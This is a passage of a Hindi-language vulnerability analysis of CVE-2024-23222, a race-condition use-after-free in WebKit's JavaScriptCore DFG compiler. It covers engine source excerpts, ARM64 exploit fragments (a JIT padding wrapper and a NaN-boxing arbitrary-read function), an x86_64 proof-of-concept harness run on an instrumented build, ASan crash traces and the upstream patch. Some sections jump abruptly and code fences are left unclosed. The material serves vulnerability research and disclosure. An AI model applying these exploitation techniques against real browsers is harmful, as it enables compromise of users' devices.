लौटाया गया `JSValue` असुरक्षित है। यदि यह कोई सेल पॉइंटर रखता है, तो लॉक रिलीज़ होने और कॉलर द्वारा उपयोग करने के क्षण के बीच उस सेल को मुक्त होने से कोई नहीं रोकता।

### 2.3 अप्रचलित मान के लिए उपभोक्ता पथ

लौटाया गया `JSValue` दो पथों द्वारा उपभोग किया जा सकता है। यदि सेल रेस विंडो के दौरान अप्रचलित या अमान्य हो गया है, तो कोई भी पथ फॉल्ट कर सकता है।

**पथ A: कंपाइलर थ्रेड पर `freeze()`।** सबसे प्रत्यक्ष उपभोक्ता `Graph::freeze()` है, जिसे कॉलर लौटाए गए मान पर तुरंत लागू करता है:```cpp
// Source/JavaScriptCore/dfg/DFGGraph.cpp
FrozenValue* Graph::freeze(JSValue value)
{
    if (UNLIKELY(!value))
        return FrozenValue::emptySingleton();

    // This dereferences value as a cell:
    RELEASE_ASSERT(!jsDynamicCast<CodeBlock*>(value));
    // ...
    FrozenValue frozenValue = FrozenValue::freeze(value);
    // ...
}

यदि सेल को `tryGetConstantProperty()` के लौटने और `freeze()` के निष्पादित होने के बीच मुक्त कर दिया गया था, तो `value.asCell()->structure()` एक use-after-free है।

**पथ B: विस्तारित विंडो के दौरान GC अंकन।** रिसर्च बिल्ड में, कंपाइलर थ्रेड संपत्ति को पढ़ने के बाद, लेकिन कॉलर को लौटाने से पहले, `tryGetConstantProperty()` के अंदर एक रॉ DFG सेफपॉइंट में प्रवेश करता है। यह मुख्य थ्रेड को GC चलाने की अनुमति देता है, जबकि पुराना (stale) सेल मान कंपाइलर की ओर एक रॉ नेटिव लोकल के रूप में अभी भी मौजूद रहता है। वर्तमान Linux x86_64 PoC में, विश्वसनीय रूप से पुनः सत्यापित क्रैश बाद में GC अंकन में होता है, जहाँ `SlotVisitor` हीप संदर्भों को ट्रैवर्स करते समय अंततः एक अमान्य पुराने सेल को डीरेफरेंस करता है। वर्तमान क्रैश स्टैक यह साबित करता है कि बाद की GC मशीनरी पुराने मान का उपभोग करती है; यह अपने आप में यह साबित नहीं करता कि पुराना पॉइंटर किस सटीक कंटेनर स्लॉट से प्राप्त हुआ था।

### 2.4 कॉल साइटें

DFG पाइपलाइन में दो स्थान बिना शर्त के `tryGetConstantProperty()` के परिणाम को `freeze()` पर पास करते हैं:

**ByteCodeParser** — प्रारंभिक बाइटकोड-से-DFG-IR लोअरिंग के दौरान:```cpp
// Source/JavaScriptCore/dfg/DFGByteCodeParser.cpp:5114
JSValue constant = m_graph.tryGetConstantProperty(
    base->asJSValue(),
    *m_graph.addStructureSet(variant.structureSet()),
    variant.offset());
if (constant)
    return weakJSConstant(constant);  // → m_graph.freeze(constant)

**AbstractInterpreter** में एक तीसरा कॉल साइट भी `freeze()` को कॉल करता है, लेकिन केवल तब जब लौटाया गया मान `GetterSetter*` हो:```cpp
// Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h:4319
JSValue result = m_graph.tryGetConstantProperty(base, data.offset);
if (result && jsDynamicCast<GetterSetter*>(result))
    setConstant(node, *m_graph.freeze(result));

`config.g = -NaN` मान एक JIT टियर साइड-चैनल के रूप में कार्य करता है: `Math.min(-NaN, -NaN)` इंटरप्रेटर बनाम JIT में अलग-अलग बिट पैटर्न उत्पन्न करता है, जिसे `Int32Array` ओवरले के माध्यम से देखा जा सकता है।

**JIT कॉल रैपर।** डेड-कोड पैडिंग (`if(false)` के अंदर `x += 1;`) की 7,200 पुनरावृत्तियों वाला एक `new Function()` JIT कोड क्षेत्र के आकार को नियंत्रित करता है। लाइव कोड पथ एक सरल फ़ंक्शन डिस्पैचर है:```javascript
const deadCodePadding = 'x += 1; '.repeat(7200 * 7);
const jitCallWrapper = new Function(
    'func', 'arg0', 'arg1', 'arg2', 'arg3', 'arg4',
    `if(false) { let x = 0; ${deadCodePadding} }
     return func(arg0, arg1, arg2, arg3, arg4);`
);

**मनमाना पठन।** संरचना को दूषित करने के बाद, `jitReadFn` दूषित butterfly pointer के माध्यम से `arr[0]` को पढ़ता है, फिर NaN-boxing को उलटने और एक कच्चा पता निकालने के लिए `5e-324` (`Number.MIN_VALUE`) से विभाजित करता है:```javascript
const jitReadFn = (state, arr, targetAddr) => {
    state.callFn(corruptFn, state, targetAddr);
    const readValue = arr[0];
    return readValue / 5e-324;  // decode address from NaN-boxed float64
};

The chain: `apply()` प्रॉपर्टी 0–8 पढ़ता है। इंडेक्स 8 पढ़ने पर गेटर फायर होता है, जो स्प्रे ऐरे को मुक्त (free) कर देता है। `inlinedFunction` तब `jitTrigger` को `arguments[3]` (अब-मुक्त `sprayArrays[3001]`) के साथ कॉल करता है। JIT-संकलित `jitTrigger` मुक्त मेमोरी को float64 मानों के रूप में व्याख्या करता है, `/ 5e-324` के माध्यम से पते डिकोड करता है, और मनमाना read/write प्रिमिटिव को आरंभ करने के लिए WebAssembly इंस्टेंस पॉइंटर्स को रिज़ॉल्व करता है।

### 3.3 यह ARM64-विशिष्ट क्यों है

ARM64 के दो गुण इस एक्सप्लॉइट को x86_64 पर पोर्टेबल नहीं बनाते हैं।

**मेमोरी ऑर्डरिंग।** पैच कमिट में वर्णित S1→S2→S3 मल्टी-स्ट्रक्चर रेस ARM64 के कमज़ोर मेमोरी ऑर्डरिंग पर निर्भर करती है। जब मुख्य थ्रेड नया प्रॉपर्टी मान लिखता है और फिर नई स्ट्रक्चर सेट करता है, तो ARM64 उन स्टोर्स को पुनः क्रमित (reorder) कर सकता है। कंपाइलर थ्रेड नई स्ट्रक्चर देख सकता है लेकिन पुराना (स्टेल) प्रॉपर्टी मान पढ़ सकता है। x86_64 का टोटल स्टोर ऑर्डर (TSO) गारंटी देता है कि यदि स्ट्रक्चर स्टोर दृश्यमान है, तो हर पिछला स्टोर — प्रॉपर्टी राइट सहित — भी दृश्यमान होता है। जिस विशिष्ट मेमोरी-रीऑर्डरिंग तंत्र पर मल्टी-स्ट्रक्चर कॉन्स्टेंट-फोल्डिंग रेस निर्भर करती है, वह TSO के अंतर्गत लागू नहीं होता, और यह रेस x86_64 पर प्रकट होती नहीं देखी गई है।

**NaN-बॉक्सिंग लेआउट।** एक्सप्लॉइट वस्तु प्रॉपर्टीज़ में गढ़े गए float64 मान लिखता है, इस तथ्य का लाभ उठाते हुए कि ARM64 पर, वे डबल्स के बिट पैटर्न NaN-बॉक्स्ड प्रतिनिधित्व में JSC सेल हेडर्स (स्ट्रक्चर आईडी, बटरफ्लाई पॉइंटर्स) के साथ अतिव्यापी होते हैं। जबकि x86_64 JSC उसी NaN-बॉक्सिंग योजना का उपयोग करता है, विशिष्ट स्ट्रक्चर-आईडी एन्कोडिंग और पॉइंटर लेआउट इतने भिन्न हैं कि ARM64 टाइप-पुनिंग तकनीक x86_64 पर मान्य स्ट्रक्चर भ्रष्टाचार उत्पन्न नहीं करती है।

---

## 4. x86_64 के लिए अनुकूलन

### 4.1 ARM64 हमला x86_64 पर क्यों विफल होता है

मल्टी-स्ट्रक्चर रेस के लिए आवश्यक है कि कंपाइलर थ्रेड किसी मध्यवर्ती स्ट्रक्चर (S2) से प्रॉपर्टी मान पढ़े, जबकि प्रोफ़ाइल किया गया स्ट्रक्चर सेट केवल {S1, S3} रखता है। x86_64 पर, TSO इसे रोकता है: `tryGetConstantProperty()` में सेल लॉक अनुक्रमण प्रदान करता है, और लॉक के बिना भी, स्टोर ऑर्डरिंग एक सुसंगत (स्ट्रक्चर, मान) जोड़ी की गारंटी देती है। यदि कंपाइलर थ्रेड स्ट्रक्चर S1 देखता है, तो वह S1 का मान देखता है। यदि वह S2 देखता है, तो स्ट्रक्चर जाँच विफल हो जाती है (S2 सेट में नहीं है)। ARM64 कमज़ोर ऑर्डरिंग जिस विशिष्ट स्टोर-रीऑर्डरिंग विंडो को खोलती है, वह TSO के अंतर्गत लागू नहीं होती।

### 4.2 विकल्प: संकलन के दौरान मुक्त सेल

x86_64 प्रूफ ऑफ कॉन्सेप्ट उसी TOCTOU का एक अलग परिणाम दोहन करता है। कंपाइलर को गलत स्ट्रक्चर से मान फोल्ड करवाने के बजाय, यह कंपाइलर को एक स्टेल सेल-मूल्यवान `JSValue` धारण करने का कारण बनता है, जो चौड़ी की गई रेस विंडो के दौरान अमान्य हो जाता है।

अनुक्रम:

1. `tryGetConstantProperty()` सेल लॉक के अंतर्गत सेल-मूल्यवान प्रॉपर्टी पढ़ता है।
2. लॉक रिलीज़ होता है। सेल पॉइंटर अब कंपाइलर थ्रेड के नेटिव C++ स्टैक पर एक कच्चा `JSValue` है।
3. मुख्य थ्रेड प्रॉपर्टी को बदलता है (`state.val = 0`), सेल के अंतिम JavaScript संदर्भ को हटाते हुए।
4. मुख्य थ्रेड गार्बेज कलेक्शन ट्रिगर करता है।
5. GC कंपाइलर थ्रेड के स्टैक को **नहीं** स्कैन करता है। DFG कंपाइलर थ्रेड कभी भी `JSLock` प्राप्त नहीं करते हैं और इसलिए GC के मशीन थ्रेड सेट के साथ कभी पंजीकृत नहीं होते हैं:```cpp
// Source/JavaScriptCore/runtime/JSLock.cpp:154-160
// Inside didAcquireLock(), called when acquiring JSLock:
if (thread.uid() != m_lastOwnerThread) {
    m_lastOwnerThread = thread.uid();
    if (m_vm->heap.machineThreads().addCurrentThread()) {
        // ...
    }
}
// DFG compiler threads never acquire JSLock.
// Their stacks are never scanned by GC.

`state.val` लक्ष्य सेल को रखता है। `Object.seal()` संरचना को स्थिर करता है ताकि DFG `state` को एक ज्ञात स्थिरांक के रूप में मान सके।

**प्रोब फ़ंक्शन।** एक गतिशील रूप से उत्पन्न फ़ंक्शन `state.val` को पढ़ता है। जब DFG इस फ़ंक्शन को संकलित करता है, तो यह प्रॉपर्टी एक्सेस को constant-fold करने का प्रयास करता है, `tryGetConstantProperty()` में प्रवेश करते हुए:```javascript
let probe = new Function(
    'state',
    'const v0 = state.val; return (v0 ? 1 : 0);'
).bind(null, state);

**रिलीज़ और एकत्र करें।** एक बार DFG कंपाइलर थ्रेड सेल को पढ़ लेता है (इंस्ट्रूमेंटेड बिल्ड यहाँ सोता है
यहाँ), मुख्य थ्रेड रेफरेंस छोड़ देता है और GC चलाता है। वास्तविक हार्नेस लॉजिक पैरामीटरीकृत है, लेकिन
डिफ़ॉल्ट कार्यशील रूप है:```javascript
state.val = 0;    // remove the JS reference to the target cell
probe = null;     // drop the probe closure

burnInterpreterRegisters(SCRUB_ROUNDS);

Promise.resolve().then(() => {
    burnInterpreterRegisters(SCRUB_ROUNDS);
    runGcSequence();      // repeated GC passes plus allocation pressure
});
drainMicrotasks();

`burnInterpreterRegisters()` एक पुनरावर्ती संख्यात्मक फ़ंक्शन है जो मुख्य थ्रेड के स्टैक पर इंटरप्रेटर रजिस्टर स्लॉट को अधिलेखित करता है, जिससे संभावना कम हो जाती है कि कंज़र्वेटिव स्टैक स्कैनिंग को लक्ष्य सेल का एक पुराना पॉइंटर मिले।

### 5.2 इंजन इंस्ट्रूमेंटेशन

अनुसंधान बिल्ड `DFGGraph.cpp` में `tryGetConstantProperty()` को संशोधित करता है। सेल लॉक रिलीज़ होने के बाद और फ़ंक्शन के लौटने से पहले, इंस्ट्रूमेंटेशन:

1. वैकल्पिक रूप से एक सिग्नल फ़ाइल लिखता है (JS-पक्ष सिंक्रोनाइज़ेशन के लिए; सर्वोत्तम वर्तमान कॉन्फ़िगरेशन में अक्षम किया गया)।
2. एक रॉ DFG `Safepoint` में प्रवेश करता है, जो कंपाइलर थ्रेड का `m_rightToRun` लॉक रिलीज़ करता है। यह GC को कंपाइलर थ्रेड की प्रतीक्षा किए बिना आगे बढ़ने की अनुमति देता है।
3. कॉन्फ़िगर करने योग्य अवधि के लिए सोता है (डिफ़ॉल्ट: 500ms)।
4. जागने पर, `m_rightToRun` को पुनः प्राप्त करता है और जाँचता है कि क्या संकलन योजना रद्द कर दी गई थी।```cpp
// DFGGraph.cpp — research instrumentation in tryGetConstantProperty()
if (result.isCell()) {
    Safepoint::Result safepointResult;
    {
        // Raw Safepoint — does NOT register Graph as a Scannable.
        // GC will not visit the Graph's frozen values during this window.
        Safepoint safepoint(m_plan, safepointResult);
        safepoint.begin();          // releases m_rightToRun
        usleep(tgcpSleepUsec());    // default: 500,000 µs
    }                               // destructor re-acquires m_rightToRun

    if (safepointResult.didGetCancelled())
        return JSValue();           // plan was cancelled during sleep
}
return result;  // caller calls freeze(result)

**फ़्लैग समझाए गए:**

| फ़्लैग | उद्देश्य |
|------|---------|
| `--useConcurrentJIT=true` | बैकग्राउंड DFG संकलन सक्षम करें (रेस के लिए दो थ्रेड आवश्यक हैं) |
| `--thresholdForOptimizeAfterWarmUp=20` | DFG टियर-अप थ्रेसहोल्ड कम करें ताकि संकलन न्यूनतम वार्मअप के बाद शुरू हो |
| `--thresholdForJITAfterWarmUp=5` | बेसलाइन JIT थ्रेसहोल्ड कम करें |
| `--thresholdForFTLOptimizeAfterWarmUp=1000000` | FTL को DFG के साथ प्रतिस्पर्धा करने से रोकें; संकलन को DFG टियर में रखें |
| `JSC_TGCP_SLEEP_USEC=500000` | इंस्ट्रूमेंटेड बिल्ड में 500ms रेस विंडो |
| `JSC_TGCP_SIGNAL_PATH=''` | सिग्नल फ़ाइल अक्षम करें (केवल टाइमिंग-आधारित सिंक्रोनाइज़ेशन) |
| `ASAN_OPTIONS=...quarantine_size_mb=256` | बड़ा क्वारंटीन मुक्त की गई मेमोरी को तुरंत पुनः उपयोग होने से रोकता है |

टियरिंग फ़्लैग महत्वपूर्ण हैं। इनके बिना, JIT शेड्यूल इतना बदल जाता है कि संकलन और मुख्य-थ्रेड रिलीज़ संरेखण से बाहर हो जाते हैं।

---

## 6. क्रैश विश्लेषण

### 6.1 GC मार्किंग क्रैश

प्राथमिक reproducible क्रैश कचरा संग्रहण के दौरान होता है, जब GC का `SlotVisitor` एक stale सेल को मार्क करने का प्रयास करता है। एक प्रतिनिधि पूर्ण रन इस प्रकार दिखता है:```text
WARNING: ASAN interferes with JSC signal handlers; useWebAssemblyFastMemory and useWasmFaultSignalHandler will be disabled.
[clean-race] clean CVE-2024-23222 x86_64 ASan attempt signal=false delaySpins=0 delayMs=0 delayKind=sleep gc=full reads=1 release=direct probe=bound-generated
[tgcp] HIT obj=0x62d000110140 struct=0x7f260000a160 setSize=1 offset=0 val=cell
[tgcp] RACE: entering safepoint + sleeping 500000us after reading cell 0x62d00011c130 from obj=0x62d000110140 offset=0
[clean-race] attempt 1: startCompilation() -> 1
[clean-race] attempt 1: proceeding without signal after delaySpins=0 delayMs=0 delayKind=sleep
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] WAKE: safepoint done, cell was 0x62d00011c130
[tgcp] ASAN: cell 0x62d00011c130 is accessible after wake
AddressSanitizer:DEADLYSIGNAL
=================================================================
==28622==ERROR: AddressSanitizer: SEGV on unknown address 0x180000008020
==28622==The signal is caused by a READ memory access.
    #0  WTF::Dependency::loadAndFence<unsigned int>()
    #1  JSC::MarkedBlock::aboutToMark(unsigned int)
    #2  JSC::SlotVisitor::appendHiddenUnbarriered(JSC::JSCell*)
    #3  JSC::SlotVisitor::appendHiddenUnbarriered(JSC::JSValue)
    #4  JSC::SlotVisitor::appendHidden(...)
    #5  JSC::SlotVisitor::appendValuesHidden(...)
    #6  JSC::JSFinalObject::visitChildrenImpl<JSC::SlotVisitor>(...)
    #7  JSC::JSFinalObject::visitChildren(...)
    #8  JSC::SlotVisitor::visitChildren(JSC::JSCell const*)
    #9  JSC::SlotVisitor::drain(...)
    #10 JSC::SlotVisitor::drainFromShared(...)
    #11 JSC::Heap::runBeginPhase(JSC::GCConductor)
    #12 WTF::SharedTaskFunctor<...>::run()
    #13 WTF::ParallelHelperClient::runTask(...)
    #14 WTF::ParallelHelperPool::Thread::work()

उस ट्रैवर्सल में किसी बिंदु पर, `appendHiddenUnbarriered` को एक स्टेल cell-वैल्यू `JSValue` प्राप्त होता है और वह इसे एक live cell के रूप में मानता है:```cpp
// Source/JavaScriptCore/heap/SlotVisitorInlines.h:91-93
MarkedBlock& block = cell->markedBlock();
dependency = block.aboutToMark(m_markingVersion);

`loadAndFence` कचरे `MarkedBlock` पते (`0x180000008020`) से पढ़ता है, जिससे SEGV उत्पन्न होता है।

### 6.2 `freeze()` क्रैश प्रकार

अलग-अलग समय स्थितियों के तहत, वही TOCTOU DFG कंपाइलर वर्कर थ्रेड पर सीधे `freeze()` पथ में भी क्रैश उत्पन्न करता है:```
    #0  ClassInfo::isSubClassOf()
    #1  JSCell::inherits()
    #2  jsDynamicCast<CodeBlock, JSCell>()
    #3  Graph::freeze(JSValue)
    #4  ByteCodeParser::weakJSConstant()
    #5  ByteCodeParser::load<GetByVariant>()

`[tgcp] HIT` पंक्ति पुष्टि करती है कि `tryGetConstantProperty()` ने लक्षित प्रॉपर्टी को सेल मान के रूप में सफलतापूर्वक कॉन्स्टेंट-फोल्ड किया। `RACE` पंक्ति दिखाती है कि कंपाइलर थ्रेड चौड़ी की गई विंडो में प्रवेश कर रहा है। `WAKE` पंक्ति दिखाती है कि वह फिर से शुरू हो रहा है। ASan डायग्नोस्टिक सेल को "accessible" (सुलभ) के रूप में रिपोर्ट करता है — ASan को कोई साधारण redzone उल्लंघन नहीं दिखता — लेकिन सेल के आंतरिक पॉइंटर (structure ID, `MarkedBlock` बैक-पॉइंटर) स्टेल (अप्रचलित) हैं, जिससे JSC का अपना कोड उन्हें उपयोग करने का प्रयास करने पर क्रैश हो जाता है।

---

## 7. रिसर्च इंस्ट्रूमेंटेशन

### 7.1 क्या कृत्रिम है

रिसर्च बिल्ड `tryGetConstantProperty()` को तीन तरीकों से संशोधित करता है:

- एक 500ms `usleep()` रेस विंडो को चौड़ा करता है। स्टॉक इंजन में यहाँ कोई स्लीप नहीं होती; सेल लॉक रिलीज़ और `freeze()` कॉल के बीच की प्राकृतिक विंडो नैनोसेकंड की होती है।
- `Graph` को `Scannable` के रूप में पंजीकृत किए बिना एक रॉ `Safepoint` में प्रवेश किया जाता है। प्रोडक्शन सेफपॉइंट (`GraphSafepoint` के माध्यम से) `Graph` जोड़ते हैं, जिससे GC सभी फ्रोज़न मानों को विज़िट करता है। रॉ सेफपॉइंट अभी तक फ्रोज़ न हुए सेल को GC के लिए अदृश्य बना देता है।
- पर्यावरण चर (`JSC_TGCP_SLEEP_USEC`, `JSC_TGCP_SIGNAL_PATH`) स्लीप अवधि और एक वैकल्पिक सिग्नल फ़ाइल को नियंत्रित करते हैं।

### 7.2 क्या कृत्रिम नहीं है

क्रैश स्वयं बिना संशोधित JSC कोड पथों से आता है:

- `JSFinalObject::visitChildrenImpl` और `SlotVisitor::appendHiddenUnbarriered` स्टॉक GC मार्किंग लॉजिक हैं।
- `Graph::freeze()` और `FrozenValue::freeze()` स्टॉक DFG कंपाइलर लॉजिक हैं।
- कोई `__asan_poison_memory_region()` या अन्य मैन्युअल मेमोरी करप्शन उपयोग नहीं किया गया है।
- क्रैश पथ में कोई स्पष्ट "dereference the stale pointer here" (यहाँ स्टेल पॉइंटर को डीरेफ़रेंस करें) प्रोब नहीं डाला गया है।
- जावास्क्रिप्ट हार्नेस केवल सार्वजनिक JSC APIs और `jsc` शेल बिल्ट-इन (`optimizeNextInvocation`, `numberOfDFGCompiles`, `fullGC`, `drainMicrotasks`) का उपयोग करता है।
- DFG कंपाइलर थ्रेड वास्तव में GC द्वारा स्कैन नहीं किए जाते — यह प्रोडक्शन व्यवहार है, कोई रिसर्च आर्टिफैक्ट नहीं।

### 7.3 मूल्यांकन

इंस्ट्रूमेंटेशन के बिना x86_64 पर विश्वसनीय पुनरुत्पादन के लिए प्राकृतिक रेस विंडो बहुत संकीर्ण है। ARM64 पर, कमज़ोर मेमोरी ऑर्डरिंग मूल एक्सप्लॉइट को बहुत व्यापक प्राकृतिक विंडो देती है — स्ट्रक्चर और वैल्यू स्टोर को पुनः क्रमबद्ध किया जा सकता है, इसलिए कंपाइलर थ्रेड बिना किसी कृत्रिम टाइमिंग सहायता के एक असंगत स्थिति का अवलोकन कर सकता है।

x86_64 पर एक काल्पनिक प्रोडक्शन एक्सप्लॉइट को या तो महत्वपूर्ण बिंदु पर कंपाइलर थ्रेड को रोकने का एक तरीका चाहिए (जैसे, धीमी स्ट्रक्चर लुकअप, एक विवादित लॉक, या एक पैथोलॉजिकल ग्राफ आकार जो `freeze()` में देरी करता है) या कई कंपाइलेशन प्रयासों के साथ एक सांख्यिकीय दृष्टिकोण। इंस्ट्रूमेंटेशन उस आवश्यकता को एक डिटर्मिनिस्टिक स्लीप से बदल देता है।

---

## 8. पैच

युसुके सुज़ुकी द्वारा WebKit कमिट `64714692967ad278155fcae66c5cb0f853b3bf34` (मार्क लैम द्वारा समीक्षित) इस भेद्यता को ठीक करता है।

फिक्स एक नया क्लास, `DesiredObjectProperties`, प्रस्तुत करता है, जो जब भी DFG कंपाइलर किसी प्रॉपर्टी लोड को कॉन्स्टेंट-फोल्ड करता है, `(JSObject*, PropertyOffset, JSValue, Structure*)` टुपल्स रिकॉर्ड करता है। कंपाइलेशन पूर्ण होने के बाद, `Plan::isStillValidOnMainThread()` इन प्रॉपर्टीज़ को मुख्य थ्रेड पर पुनः पढ़ता है और उन्हें रिकॉर्ड किए गए मानों से तुलना करता है। यदि कोई टुपल स्टेल है — ऑब्जेक्ट की स्ट्रक्चर बदल गई है, या प्रॉपर्टी मान भिन्न है — तो संकलित प्लान निष्पादित होने से पहले ही त्याग दिया जाता है।

यह TOCTOU को एक एटॉमिक जाँच में परिवर्तित करता है: कंपाइलर का स्नैपशॉट ऑप्टिमाइज़्ड कोड स्थापित होने से पहले एक सिंक्रनाइज़ेशन बिंदु (मुख्य-थ्रेड फ़ाइनलाइज़ेशन) पर मान्य किया जाता है। `freeze()` UAF कंपाइलेशन के दौरान फिर भी हो सकता है, लेकिन परिणामी कोड कभी उपयोग नहीं किया जाता।

मल्टी-स्ट्रक्चर सेट के लिए, पैच किया गया `tryGetConstantProperty()` जब `structureSet.size() > 1` हो और सभी स्ट्रक्चर सक्रिय रूप से वॉच न किए गए हों, तो कॉन्स्टेंट फोल्डिंग को पूरी तरह से अस्वीकार कर देता है। यह S1→S2→S3 ट्रांज़िटिव-ट्रांज़िशन हमले को स्रोत पर ही समाप्त कर देता है।

---

## 9. फ़ाइलें

| फ़ाइल | विवरण |
|------|-------------|
| `toctou_clean_asan_v2.js` | जावास्क्रिप्ट प्रूफ-ऑफ-कॉन्सेप्ट हार्नेस |
| `DFGGraph.cpp` | कमज़ोर फ़ंक्शन (`tryGetConstantProperty`), `freeze()`, और रिसर्च इंस्ट्रूमेंटेशन |
| `DFGFrozenValue.h` | `FrozenValue::freeze()` — सेल डीरेफ़रेंस बिंदु |
| `DFGByteCodeParser.cpp` | `weakJSConstant()` कॉल साइट |
| `DFGConstantFoldingPhase.cpp` | `emitGetByOffset()` कॉल साइट |
| `DFGAbstractInterpreterInlines.h` | एब्स्ट्रैक्ट इंटरप्रेटर कॉल साइट |
| `SlotVisitorInlines.h` | `appendHiddenUnbarriered()` — GC मार्किंग क्रैश साइट |
| `MarkedBlock.h` | `aboutToMark()` — जहाँ SEGV होता है |
| `JSLock.cpp` | `didAcquireLock()` — दिखाता है कि DFG थ्रेड GC के साथ पंजीकृत नहीं हैं |